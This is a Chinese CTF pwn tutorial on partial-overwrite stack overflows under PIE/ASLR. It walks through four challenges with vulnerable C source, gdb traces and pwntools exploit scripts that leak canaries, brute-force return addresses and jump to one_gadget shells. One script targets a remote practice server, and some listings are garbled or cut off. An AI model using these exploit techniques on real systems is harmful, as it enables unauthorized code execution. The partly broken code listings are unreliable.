您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

栈溢出技巧-下

合天网安实验室 发布时间:2021-04-07 17:30:00 ,浏览量:0

●栈溢出技巧-上

●栈溢出技巧-中

根据前面的内容可以知道在开启ASLR+PIE的后,每次加载的地址是在一定的范围随机变化的,只不过由于内存页为0x1000空间大小的限制和加载后相对偏移不会变的缘故,造成了加载后的地址的最后一个半字节长度的内容是不变的。

partial write则是利用了这一点,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的,因此我们可以通过覆盖地址的后几位来可以控制程序的执行流。

另外,partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。

题目一

2018年安恒杯中babypie题,因为wiki中给的不是一个二进制文件,因此自己重新编译。

#include 
#include 
void flag(){
    system("cat flag");
}
void vuln(){
    char buf[40];
    puts("Input your Name:");
    read(0, buf, 0x30);                       
    printf("Hello %s:\n", buf);
    read(0, buf, 0x60);    
}
int main(int argc, char const *argv[])
{
    vuln();
    return 0;
}

pwn@pwn-PC:~/Desktop$ gcc -fpie -pie  -fstack-protector -o test-pie partial.c
pwn@pwn-PC:~/Desktop$ checksec test-pie 
[*] '/home/pwn/Desktop/test-pie'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

此题目所有保护都开着,首先发现有canary,就想着使用stack smash泄漏flag函数的地址,然后此地址作为第二次read的ret_addr地址进行执行,但是只有第二次read操作存在栈溢出,而且溢出的距离无法到达到覆盖__libc_argv[0]的距离,假设即便能覆盖,在PIE的情况下也很难确定.text的地址,因此本题使用partial overwrite的方法进行利用。

可以发现两次read操作,只有第二次read操作存在栈溢出,但是又有canary,很难利用第二次的栈溢出,那么怎么去解决?首先需要获取canary的值, 因为read函数并不会给输入的末尾加上 \x00 字符,而且printf 使用 %s 时, 遇到 \x00 字符才会结束输出,因此只需要把canary末尾字符覆盖成非 \x00 字符就可以利用printf("Hello %s:\n", buf)输出canary,然后再利用partial overwrite覆盖ret_addr控制程序的指令流,步骤如下:泄漏canary值

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
offset = 0x28
p = process('./test-pie')
p.recvuntil("Name:\n")
payload='a' * offset 
gdb.attach(p)
p.sendline(payload)
                    
p.recvuntil('a' * offset)
p.recv(1)
canary = u64('\0' + p.recvn(7))
print hex(canary)

pwn@pwn-PC:~/Desktop$ python exp.py 
[+] Starting local process './test-pie': pid 28293
[DEBUG] Received 0x11 bytes:
    'Input your Name:\n'
[DEBUG] Wrote gdb script to '/tmp/pwnozkM_1.gdb'
    file "./test-pie"
[*] running in new terminal: /usr/bin/gdb -q  "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"
[DEBUG] Launching a new terminal: ['/usr/bin/deepin-terminal', '-x', 'sh', '-c', '/usr/bin/gdb -q  "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"']
[+] Waiting for debugger: Done
[DEBUG] Sent 0x29 bytes:
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Received 0x2f bytes:
    'Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
[DEBUG] Received 0xf bytes:
    00000000  77 05 28 c0  f3 64 57 20  69 4e d8 fc  7f 3a 0a     │w·(·│·dW │iN··│·:·│
    0000000f
0x5764f3c028057700

可以看到,sent了0x29个字符,因为buf的栈地址到canary值的地址的相距0x28个字符,再加上覆盖的canary的末尾字符总共0x29个字符,栈中覆盖情况如下:

read(0, buf, 0x30)函数执行完成后:
───────────────────────────────────[ STACK ]─────────────────────────────────────────
00:0000│ rax r8 rsp  0x7ffcd84e68d0 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓
05:0028│             0x7ffcd84e68f8 ◂— 0x5764f3c02805770a
06:0030│ rbp         0x7ffcd84e6900 —▸ 0x7ffcd84e6920 —▸ 0x55a96ce218b0 ◂— push   r15
07:0038│             0x7ffcd84e6908 —▸ 0x55a96ce2189a ◂— mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────
pwndbg> x /18gx 0x7fff426083d0
0x7ffcd84e68d0: 0x6161616161616161  0x6161616161616161
0x7ffcd84e63e0: 0x6161616161616161  0x6161616161616161
0x7ffcd84e63f0: 0x6161616161616161  0x5764f3c02805770a

覆盖ret_addr控制程序的指令流 首先找到flag的地址,最后一个半字节为0x7f0,由于内存是按页夹在的 0x1000为一页,因此每次加载这三位是不会变的,那么在payload中发送的时候(按字节发送,发送4位),第四位随便填写一个即可,每次对随机加载后的flag函数起始地址进行碰撞,因为范围在0x0 -0xf,所以碰撞成功的几率挺大的。

pwndbg> disassemble flag
Dump of assembler code for function flag:
   0x00005555555547f0 : push   rbp
   0x00005555555547f1 : mov    rbp,rsp
   0x00005555555547f4 : lea    rdi,[rip+0x139]        # 0x555555554934
   0x00005555555547fb :    call   0x555555554680 
   0x0000555555554800 :    nop
   0x0000555555554801 :    pop    rbp
   0x0000555555554802 :    ret    
End of assembler dump.

构造payload,覆盖ret_addr的末尾两个字节

p.recvuntil(":\n")    
payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'
p.send(payload)

可以看到RAX、Canary、ret_addr的末尾两个字节都已经成功覆盖,后面的工作就是去碰撞。
─────────────────────────────[ REGISTERS ]────────────────────────────────
 RAX  0xa4c9b736e3763700
 RBP  0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb')
 RSP  0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
 RIP  0x55cd0345386f ◂— xor    rax, qword ptr fs:[0x28]
──────────────────────────────[ DISASM ]─────────────────────────────────
 ► 0x55cd0345386f    xor    rax, qword ptr fs:[0x28]
   0x55cd03453878    je     0x55cd0345387f
    ↓
   0x55cd0345387f    leave  
   0x55cd03453880    ret    
───────────────────────────  ───[ STACK ]─────────────────────────────────
00:0000│ rsi r8 rsp  0x7ffe773d1d70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
05:0028│             0x7ffe773d1d98 ◂— 0xa4c9b736e3763700
06:0030│ rbp         0x7ffe773d1da0 ◂— 0x6262626262626262 ('bbbbbbbb')
07:0038│             0x7ffe773d1da8 ◂— 0x55cd034547f0

exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
offset = 0x28
while True:
    try:    
        p = process('./test-pie')
        p.recvuntil("Name:\n")
        payload='a' * offset 
        # gdb.attach(p)
        p.sendline(payload)
        p.recvuntil('a' * offset)
        p.recv(1)
        canary = u64('\0' + p.recvn(7))
        print hex(canary)
        p.recvuntil(":\n")
                    
        payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'
        p.send(payload)
        flag = p.recvall()
        if 'flag' in flag:
            exit(0)
    except Exception as e:
        p.close()
        print e

pwn@pwn-PC:~/Desktop$ python exp.py 
[+] Starting local process './test-pie': pid 17736
[DEBUG] Received 0x11 bytes:
    'Input your Name:\n'
[DEBUG] Sent 0x29 bytes:
    'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
......
[+] Receiving all data: Done (37B)
[DEBUG] Received 0x25 bytes:
    'flag{23dih3879sad8dsk84ihv9fd0wnis0}\n'
[*] Process './test-pie' stopped with exit code -11 (SIGSEGV) (pid 17739)
[*] Stopped process './test-pie' (pid 17620

总结:在该情况下,因为有canary保护,所以先泄漏canary ,进而构造payload绕过canary覆盖返回地址来执行指定的函数。

题目二

2018年XNUCA中的gets题目

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v4; // [rsp+0h] [rbp-18h]

  gets((__int64)&v4, (__int64)a2, (__int64)a3);
  return 0LL;
}

pwn@pwn-PC:~/Desktop$ checksec gets 
[*] '/home/pwn/Desktop/gets'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
依然没有PIE,但是开了ASLR保护

只有一个gets函数而且存在明显栈溢出漏洞,想象空间很大,可以构造execve函数进行getshell,由于开启了ASLR,必须先构造read或者puts函数泄漏libc的地址,但代码段又没有这些函数,依然得需要先知道libc的加载地址。那么既然开启地址随机化,尝试partial overwrite去覆盖返回地址(覆盖成onegadget的地址)达到getshell的目的。

ps:
one-gadget是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip的时候,用one-gadget来做RCE(远程代码执行)非常方便,一般地,此办法在64位上常用,却在32位的libc上会很难去找,也很难用。

pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x3f306 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x3f35a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xd695f execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

可以看到栈中main函数的返回地址是0x7ffff7a5a2e1(__libc_start_main+241),继续往下看还发现 0x7ffff7de896b (_dl_init+139)。

有两个地址,这有什么用呢?继续往下看 发现两个地址分别属于libc和ld,而且经过多次实验发现在每次加载中,Id.so和libc.so的加载地址的相对位置是固定的,也就是偏移量不变。

就好比开头提到的,一个比较自然的想法就是我们通过 partial overwrite 来修改0x7ffff7a5a2e1的末尾两位字节为0xf306(如题目一的思路),经过多次碰撞得到onegadget的地址,最终getshell。那么就开始构造flag,因为gets函数会在末尾读入一个\x00的结束符,因此实际上覆盖后的地址是这样的0x7ffff700f306,但是这就面临一个问题。

按照上面来说,如果直接覆盖返回地址

那么覆盖成了0x7ffff700f306(严谨一点:0x7ffff7000306 - 0x7ffff700f306),那么计算出libc的加载地址为0x7ffff6fd0000 xinfo _dl_init Extended information for virtual address 0x7ffff7de88e0:   Containing mapping:     0x7ffff7dd9000     0x7ffff7dfc000 r-xp    23000 0      /usr/lib/x86_64-linux-gnu/ld-2.24.so   Offset information:          Mapped Area 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0          File (Base) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0       File (Segment) 0x7ffff7de88e0 = 0x7ffff7dd9000 + 0xf8e0          File (Disk) 0x7ffff7de88e0 = /usr/lib/x86_64-linux-gnu/ld-2.24.so + 0xf8e0

也就是说,当libc的基址为0x7ffff6fd0000是,此时覆盖栈上_dl_init+139为0x7ffff700f306就一定能够碰撞onegadget的地址,这是其中一个可能,还有很多种其他的可能,虽然碰撞几率不大,也不会很小,其实证明了这么久其实就是卡一个0x7ffff6fdxxxxx和0x7ffff7xxxxx这个点的几率。下面的操作就简单易懂了,解决怎么去覆盖的问题即可。相隔那么远,怎么在栈上移动?那么就需要找到合适的gadget了,只需要push_ret那么就可以准确定位到存放_dl_init+139地址。使用__libc_csu_init中的gadget。

pwndbg> x /10i 0x40059b
   0x40059b:    pop    rbp
   0x40059c:    pop    r12
   0x40059e:    pop    r13
   0x4005a0:    pop    r14
   0x4005a2:    pop    r15
   0x4005a4:    ret    

移动的过程如下:

因为这个需要概率,因此不知道payload是不是正确,还在那一直跑,先调试代码,可以发现都是按照设想去执行  只是没成功,然后就是一直跑,直到跑出shell为止。

exp:

from pwn import *

# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
offset = 0x18

while True:
    try:    
        p = process('./gets')
        payload='a' * offset + p64(0x40059B)
        payload += 'b' * 8 * 5 + p64(0x40059B) + 'c' * 8 * 5 + p64(0x40059B)
        payload += 'c' * 8 * 5 + '\x06\xa3'
#         gdb.attach(p)
        p.sendline(payload)
        p.sendline('ls')
        data = p.recv()
        print data
        p.interactive()
        p.close()
    except Exception:
        p.close()
        continue

这就需要耐心了,可能几十分钟都没结果(我跑了好久),然后去修改一下partial overwrite的值,将\x06\x03修改成\x06\xa3,一分钟左右就跑出来了。

题目三

HITBCTF2017中的1000levels题目,梳理流程,函数有点多

_BOOL8 __fastcall level(signed int a1){
  __int64 v2; // rax
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v4; // [rsp+18h] [rbp-28h]
  __int64 v5; // [rsp+20h] [rbp-20h]
  __int64 v6; // [rsp+28h] [rbp-18h]
  unsigned int v7; // [rsp+30h] [rbp-10h]
  unsigned int v8; // [rsp+34h] [rbp-Ch]
  unsigned int v9; // [rsp+38h] [rbp-8h]
  int i; // [rsp+3Ch] [rbp-4h]
  buf = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  if ( !a1 )
    return 1LL;
  if ( (unsigned int)level(a1 - 1) == 0 )
    return 0LL;
  v9 = rand() % a1;
  v8 = rand() % a1;
  v7 = v8 * v9;
  puts("====================================================");
  printf("Level %d\n", (unsigned int)a1);
  printf("Question: %d * %d = ? Answer:", v9, v8);
  for ( i = read(0, &buf, 0x400uLL); i & 7; ++i )
    *((_BYTE *)&buf + i) = 0;
  v2 = strtol((const char *)&buf, 0LL, 10);
  return v2 == v7;
}

pwn@pwn-PC:~/Desktop$ checksec 1000levels 
[*] '/home/pwn/Desktop/1000levels'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

主要看level函数,栈溢出发生在 level函数中 __int64 buf; // [rsp+10h] [rbp-30h] read(0, &buf, 0x400uLL) 显然发生了溢出。其中还是开启了PIE保护。程序的流程是通过go函数进入关卡,获取设置的关卡数数目,在level函数中进行递归执行,程序有点复杂,就没有头绪,那么先从溢出点看,怎么利用这个溢出点?利用题目二的思路,使用partial overwrite覆盖返回地址为onegadget地址,也就是覆盖0x238距离外的0x7ffff7de896b (_dl_init+139) ,然后再利用合适的gadget(因为PIE的缘故,如果还是使用__libc_csu_init的gadget的话,需要先泄漏加载地址,此处换成vsystem里面的gadget)来移动0x238的距离进行覆盖末尾两位。但是仔细看一下程序流程发现还有一个更简单的办法, 我们上一个办法无非就是为了执行onegadget,但是在之前确定onegadget加载的地址,那么需要一个参照物,仔细看hint函数

int hint(void)
{
  signed __int64 v1; // [rsp+8h] [rbp-108h]
  int v2; // [rsp+10h] [rbp-100h]
  __int16 v3; // [rsp+14h] [rbp-FCh]
  if ( show_hint )
  {
    sprintf((char *)&v1, "Hint: %p\n", &system, &system);
  }
  else
  {
    v1 = 5629585671126536014LL;
    v2 = 1430659151;
    v3 = 78;
  }
  return puts((const char *)&v1);
}

无论执不执行sprintf((char *)&v1, "Hint: %p\n", &system, &system)这条语句,在之前执行这么一段指令

0x555555554cfb      mov    rax, qword ptr [rip + 0x2012ce]
0x555555554d02      mov    qword ptr [rbp - 0x110], rax

将[rip + 0x2012ce]=>0x7ffff7a79480 (system)放在栈中位置是hint函数的rbp - 0x110,也就是只要执行hint函数,那么system函数就会被放在rbp - 0x110处,而且这个位置很眼熟,在go函数中也有

int go(void){
  int v1; // ST0C_4
  __int64 v2; // [rsp+0h] [rbp-120h]
  __int64 v3; // [rsp+0h] [rbp-120h]
  int v4; // [rsp+8h] [rbp-118h]
  __int64 v5; // [rsp+10h] [rbp-110h]
  signed __int64 v6; // [rsp+10h] [rbp-110h]
  signed __int64 v7; // [rsp+18h] [rbp-108h]
  __int64 v8; // [rsp+20h] [rbp-100h]
  puts("How many levels?");
  v2 = read_num();
  if ( v2 > 0 )
    v5 = v2;
  else
    puts("Coward");
  puts("Any more?");
  v3 = read_num();
  v6 = v5 + v3;
  if ( v6 > 0 ) {
    if ( v6  0 )
    v5 = v2;
else
    puts("Coward");
puts("Any more?");
v3 = read_num();
v6 = v5 + v3;

也就说只要v2 disassemble go Dump of assembler code for function _Z2gov:    0x0000555555554b7c : push   rbp    0x0000555555554b7d : mov    rbp,rsp    0x0000555555554b80 : sub    rsp,0x120    0x0000555555554b87 :    lea    rdi,[rip+0x506]        # 0x555555555094    0x0000555555554b8e :    call   0x555555554900     0x0000555555554b93 :    call   0x555555554b00     0x0000555555554b98 :    mov    QWORD PTR [rbp-0x120],rax    0x0000555555554b9f :    mov    rax,QWORD PTR [rbp-0x120]    0x0000555555554ba6 :    test   rax,rax    0x0000555555554ba9 :    jg     0x555555554bb9     0x0000555555554bab :    lea    rdi,[rip+0x4f3]        # 0x5555555550a5    0x0000555555554bb2 :    call   0x555555554900     0x0000555555554bb7 :    jmp    0x555555554bc7     0x0000555555554bb9 :    mov    rax,QWORD PTR [rbp-0x120]    0x0000555555554bc0 :    mov    QWORD PTR [rbp-0x110],rax    0x0000555555554bc7 :    lea    rdi,[rip+0x4de]        # 0x5555555550ac    0x0000555555554bce :    call   0x555555554900     0x0000555555554bd3 :    call   0x555555554b00     0x0000555555554bd8 :    mov    QWORD PTR [rbp-0x120],rax    0x0000555555554bdf :    mov    rdx,QWORD PTR [rbp-0x110]    0x0000555555554be6 :   mov    rax,QWORD PTR [rbp-0x120]    0x0000555555554bed :   add    rax,rdx    0x0000555555554bf0 :   mov    QWORD PTR [rbp-0x110],rax ......

在go的汇编代码中可以看到,总共开辟了0x120大小的栈帧,v5和v6在rsp+10h中,很容易可以计算出level返回地址距离system_addr的距离是0x18,栈结构如下:

----------------------------------------------------
0x7fffffffcb88   |   0x555555554c74 (go()+248)
----------------------------------------------------
0x7fffffffcb90   |   0x1
----------------------------------------------------
0x7fffffffcb98   |   0x555560531c95
----------------------------------------------------
0x7fffffffcba0   |   0x2
----------------------------------------------------

经过覆盖后0x7fffffffcba0中存的是onegadget的地址。然后在使用合适的gadget越过0x7fffffffcb88、0x7fffffffcb90和0x7fffffffcb98三个内存单元,控制程序执行0x7fffffffcba0的内容。第二步寻找合适的gadget。在PIE的情况下,怎么寻找这个合适的gadget,在stack-pivot篇幅中的第一部分ASLR和PIE的区别的时候,一直提到一个点,无论开启ASLR,还是PIE+ASLR,vsyscall的加载地址依然不变,始终为0xffffffffff600000 - 0xffffffffff601000。简单介绍一下vsyscall,现代的Windows和Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。执行某些操作的时候会在从用户空间切换到内核空间时需要一个介质,这介质就是系统调用,但是这一过程需要耗费一定的性能,增加了不必要的开销,vsystem就是加速某些系统调用的机制,他用来执行特定的系统调用,减少系统调用的开销,例如gettimeofday(),这样就避免了传统的系统调用模式int 0x80/syscall造成的内核空间和用户上下文空间的切换。使用gdb将vsystem这段内存dump下来拿到IDA中进行查看

seg000:0000000000000000                 mov     rax, 60h
seg000:0000000000000007                 syscall                 ; Low latency system call
seg000:0000000000000009                 retn
seg000:0000000000000009 ; ---------------------------------------------------------------------------
seg000:000000000000000A                 align 400h
seg000:0000000000000400                 mov     rax, 0C9h
seg000:0000000000000407                 syscall                 ; Low latency system call
seg000:0000000000000409                 retn
seg000:0000000000000409 ; ---------------------------------------------------------------------------
seg000:000000000000040A                 align 400h
seg000:0000000000000800                 mov     rax, 135h
seg000:0000000000000807                 syscall                 ; Low latency system call
seg000:0000000000000809                 retn

显示的这三个系统调用分别是:gettimeofday, time和getcpu。值得注意的是,在我们选择gadget的是,直接调用vsyscall中的retn指令,会提示段错误,这是因为vsyscall执行时会进行检查,如果不是从函数开头执行的话就会出错 所以不能直接调用ret,应该从头开始。第三步找到onegadget

pwn@pwn-PC:~/Desktop$ one_gadget /usr/lib/x86_64-linux-gnu/libc-2.24.so
0x3f306 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x3f35a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xd695f execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

准备内容做完后就开始构造payload,但是本地测试一直失败 ,调试时发现每次执行vsyscall的系统调用的的时候,会报出Program recevied signal SIGSEGV(fault address 0xa)的错误提示,可是没有查到原因(求大佬指点),后来在攻防世界中找到一个一样的题目'100levels',只不过最高的循环从1000变为了100,思路没有变,改了下exp就利用成功了,于是更纳闷为什么本地会报这种错误。

from pwn import *
libc = ELF("./libc.so")
# p = process('./1000levels')
p = remote('111.200.241.244',45392)
# one_gadget = 0x3f306
one_gadget = 0x4526a
system = libc.symbols['system']

print r.recvuntil("Choice:\n")
p.sendline('2')
print r.recvuntil("Choice:\n")
p.sendline('1')
print r.recvuntil("How many levels?\n")
p.sendline('0')
print r.recvuntil("Any more?\n")
p.sendline(str(one_gadget-system))

def calc():
    print r.recvuntil("Question: ")
    num1 = int(r.recvuntil(" "))
    print r.recvuntil("* ")
    num2 = int(r.recvuntil(" "))
    ans = num1 * num2
    print r.recvuntil("Answer:")
    p.sendline(str(ans))
# for i in range(999):
for i in range(99):
    calc()
print p.recvuntil("Answer:")
payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3
p.send(payload)
p.interactive()

题目四

2019年CISCN中your_pwn的题目,源码如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-110h]
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]
  v5 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  memset(&s, 0, 0x100uLL);
  printf("input your name \nname:", 0LL);
  read(0, &s, 0x100uLL);
  while ( (unsigned int)sub_B35() );
  return 0LL;
}

_BOOL8 sub_B35(){
  int v1; // [rsp+4h] [rbp-15Ch]
  int v2; // [rsp+8h] [rbp-158h]
  int i; // [rsp+Ch] [rbp-154h]
  char v4[64]; // [rsp+10h] [rbp-150h]
  char s; // [rsp+50h] [rbp-110h]
  unsigned __int64 v6; // [rsp+158h] [rbp-8h]
  v6 = __readfsqword(0x28u);
  memset(&s, 0, 0x100uLL);
  memset(v4, 0, 0x28uLL);
  for ( i = 0; i  x /3bx 0x7fffffffcd18
0x7fffffffcd18: 0xe1    0xa2    0xa5     :0xa5a2e1

使用后三位字节进行计算:
0xa5a2e1- 0x201f0 - 241 = 0xa3a000 :libc addr
0xa3a000 + 0x3f306 = 0xa79306 | onegadget addr

将onegadget addr进行写入:
0x7fffffffcd18 :0x06 :v2 = 6
0x7fffffffcd19 :0x93 :v2 = 147
0x7fffffffcd1a :0x7a :v2 = 122

写入位置:
v4[0x278] :v1 = 632
v4[0x279] :v1 = 633
v4[0x280] :v1 = 634

注意在进行printf时,是输出是格式%x,运用了一次MOVSX指令(说明:带符号扩展传送指),因此在exp中需要对输出的内容进行处理,exp如下:

from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.24.so")
p = process('./pwn')
one_gadget = 0x3f306
libc_start_main_addr = libc.symbols['__libc_start_main']
libc_start_main_241 = 0xf1
offset = 0x278
newValue = 1

def byte(addr):
    libc_start_main = ''
    if(len(addr)            
关注
打赏
1665306545
查看更多评论
0.0423s